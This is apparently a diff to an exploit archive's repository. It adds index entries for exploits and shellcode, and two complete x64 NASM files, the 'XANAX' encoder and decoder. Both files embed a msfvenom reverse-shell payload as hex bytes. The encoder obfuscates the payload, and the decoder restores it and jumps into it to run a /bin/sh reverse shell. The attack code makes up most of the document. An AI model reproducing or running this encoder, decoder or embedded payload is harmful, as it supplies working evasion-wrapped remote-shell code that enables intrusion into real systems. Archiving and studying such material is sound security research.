+46677,exploits/php/remote/46677.php,"PHP 7.2 - 'imagecolormatch()' Out of Band Heap Write",2019-02-27,cfreal,remote,php,
+46678,exploits/hardware/remote/46678.py,"TP-LINK TL-WR940N / TL-WR941ND - Buffer Overflow",2019-04-09,"Grzegorz Wypych",remote,hardware,80
+46682,exploits/multiple/remote/46682.py,"Apache Axis 1.4 - Remote Code Execution",2019-04-09,"David Yesland",remote,multiple,
 6,exploits/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php,
 44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php,
 47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php,
@ -41116,3 +41120,4 @@ id,file,description,date,author,type,platform,port
 46671,exploits/php/webapps/46671.txt,"Tradebox CryptoCurrency - 'symbol' SQL Injection",2019-04-08,"Abdullah Çelebi",webapps,php,80
 46672,exploits/php/webapps/46672.js,"WordPress Plugin Limit Login Attempts Reloaded 2.7.4 - Login Limit Bypass",2019-04-08,isdampe,webapps,php,80
 46674,exploits/java/webapps/46674.txt,"ManageEngine ServiceDesk Plus 9.3 - User Enumeration",2019-04-08,"Alexander Bluestein",webapps,java,
+46681,exploits/php/webapps/46681.txt,"Ashop Shopping Cart Software - 'bannedcustomers.php?blacklistitemid' SQL Injection",2019-04-09,"Doğukan Karaciğer",webapps,php,80
--- a/files_shellcodes.csv
+++ b/files_shellcodes.csv
@ -952,3 +952,5 @@ id,file,description,date,author,type,platform
 46519,shellcodes/linux_x86/46519.c,"Linux/x86 - INSERTION Encoder / Decoder execve(/bin/sh) Shellcode (88 bytes)",2019-03-08,"Daniele Votta",shellcode,linux_x86
 46523,shellcodes/linux_x86/46523.py,"Linux/x86 - MMX-XOR Encoder / Decoder execve(/bin/sh) Shellcode (44 bytes)",2019-03-11,"Daniele Votta",shellcode,linux_x86
 46524,shellcodes/linux_x86/46524.c,"Linux/x86 - Polymorphic execve(/bin/sh) Shellcode (63 bytes)",2019-03-11,"Daniele Votta",shellcode,linux_x86
+46679,shellcodes/generator/46679.nasm,"Linux/x64 - XANAX Encoder Shellcode (127 bytes)",2019-04-09,"Alan Vivona",shellcode,generator
+46680,shellcodes/generator/46680.nasm,"Linux/x64 - XANAX Decoder Shellcode (127 bytes)",2019-04-09,"Alan Vivona",shellcode,generator
--- a/shellcodes/generator/46679.nasm
+++ b/shellcodes/generator/46679.nasm
@ -0,0 +1,56 @@
+; Date: 08/04/2019
+; XANAX Encoder
+; Author: Alan Vivona
+; Description: Uses xor-add-not-add-xor sequence with a 4 byte key and writes the encoded version to stdout
+; Tested on: x86-x64 GNU/Linux
+
+global _start
+
+segment .data
+
+    keys.xor1 equ 0x29
+    keys.add1 equ 0xff
+    keys.xor2 equ 0x50
+    keys.add2 equ 0x05
+
+    payload.len equ 74 ; this can't be over 127 bytes otherwise it will produce nullbytes
+
+    ; msfvenom -a x64 --platform linux -p linux/x64/shell_reverse_tcp -f hex
+    payload_start: db  0x6a, 0x29, 0x58, 0x99, 0x6a, 0x02, 0x5f, 0x6a, 0x01, 0x5e, 0x0f, 0x05, 0x48, 0x97, 0x48, 0xb9, 0x02, 0x00, 0x11, 0x5c, 0x7f, 0x00, 0x00, 0x01, 0x51, 0x48, 0x89, 0xe6, 0x6a, 0x10, 0x5a, 0x6a, 0x2a, 0x58, 0x0f, 0x05, 0x6a, 0x03, 0x5e, 0x48, 0xff, 0xce, 0x6a, 0x21, 0x58, 0x0f, 0x05, 0x75, 0xf6, 0x6a, 0x3b, 0x58, 0x99, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48, 0x89, 0xe7, 0x52, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
+
+
+section .text
+
+_start:
+
+    encode_setup:
+    xor rcx, rcx
+    lea rsi, [payload_start]
+    encode:    
+        mov al, byte [rsi+rcx]
+        ; XANAX encoding (xor add not add xor)
+        xor al, keys.xor1
+        add al, keys.add1
+        not al
+        add al, keys.add2
+        xor al, keys.xor2
+        mov byte [rsi+rcx], al
+
+        inc rcx
+        cmp rcx, payload.len
+        jne encode
+
+    ; Write
+    push 0x01
+    pop rax
+    mov rdi, rax ; fd 1 = stdout
+        ; rsi = [payload_start] from the code above, no need for setting that again
+    push payload.len
+    pop rdx
+    syscall
+
+    ; Exit
+    xor rbx, rbx
+    push 0x3c
+    pop rax
+    syscall
--- a/shellcodes/generator/46680.nasm
+++ b/shellcodes/generator/46680.nasm
@ -0,0 +1,45 @@
+; Date: 08/04/2019
+; XANAX Decoder
+; Author: Alan Vivona
+; Description: Reverts the xor-add-not-add-xor sequence using the same 4 byte key and executes the encoded payload. 
+; Tested on: x86-x64 GNU/Linux
+
+global _start
+
+section .text
+
+keys.xor1 equ 0x29
+keys.add1 equ 0xff
+keys.xor2 equ 0x50
+keys.add2 equ 0x05
+
+; xanax encoded payload
+payload.len equ 74 ; this can't be over 127 bytes otherwise it will procude nullbytes
+
+_start:
+
+    jmp encode_setup
+    ; msfvenom -a x64 --platform linux -p linux/x64/shell_reverse_tcp -f hex
+    ; Encoded using XANAX Encoder:
+    payload_start: db  0x92, 0x55, 0xc4, 0x05, 0x92, 0x8a, 0xdf, 0x92, 0x8d, 0xde, 0x8f, 0x89, 0xf4, 0x17, 0xf4, 0x25, 0x8a, 0x8c, 0x9d, 0xc0, 0xff, 0x8c, 0x8c, 0x8d, 0xdd, 0xf4, 0x35, 0x66, 0x92, 0x9c, 0xc2, 0x92, 0x52, 0xc4, 0x8f, 0x89, 0x92, 0x8b, 0xde, 0xf4, 0x7f, 0x4e, 0x92, 0xad, 0xc4, 0x8f, 0x89, 0xf9, 0x76, 0x92, 0xa3, 0xc4, 0x05, 0xf4, 0x23, 0xaf, 0xea, 0x95, 0xee, 0xaf, 0xfb, 0x94, 0x8c, 0xdb, 0xf4, 0x35, 0x67, 0xda, 0xd7, 0xf4, 0x35, 0x66, 0x8f, 0x89
+    
+    encode_setup:
+    xor rcx, rcx
+    lea rsi, [rel payload_start]
+    encode:    
+        mov al, byte [rsi+rcx]
+        ; XANAX encoding (xor add neg add xor)
+        xor al, keys.xor2
+        sub al, keys.add2
+        not al
+        sub al, keys.add1
+        xor al, keys.xor1
+
+        mov byte [rsi+rcx], al
+
+        inc rcx
+        cmp rcx, payload.len
+        jne encode
+
+    ; Execute payload
+    jmp rsi